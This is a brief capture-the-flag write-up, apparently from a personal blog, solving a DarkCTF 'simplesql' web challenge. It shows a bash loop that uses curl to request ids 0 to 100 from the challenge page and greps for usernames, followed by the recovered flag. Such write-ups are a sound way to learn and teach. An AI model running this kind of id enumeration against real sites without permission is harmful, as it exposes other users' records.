this challenge teel us use id as parameter, so i addedand i try to check what i look like on id=1
![](https://miro.medium.com/max/764/1*Ro4ksQaGI0yY5_iCeSHFyA.png)
and id=2
![](https://miro.medium.com/max/764/1*oOGqiqkVOXVj-6LR-hP0kQ.png)
so i decide to use bash to check all the possible id, and i found the flag
```for x in {0..100};do curl "simplesql.darkarmy.xyz/index.php?id=$x" | grep Username;done```
![](https://miro.medium.com/max/764/1*ngsxz2ri2k5aysl2Cwqbqg.png)
> Flag: darkCTF{it_is_very_easy_to_find}
[my blog](http://medium.com)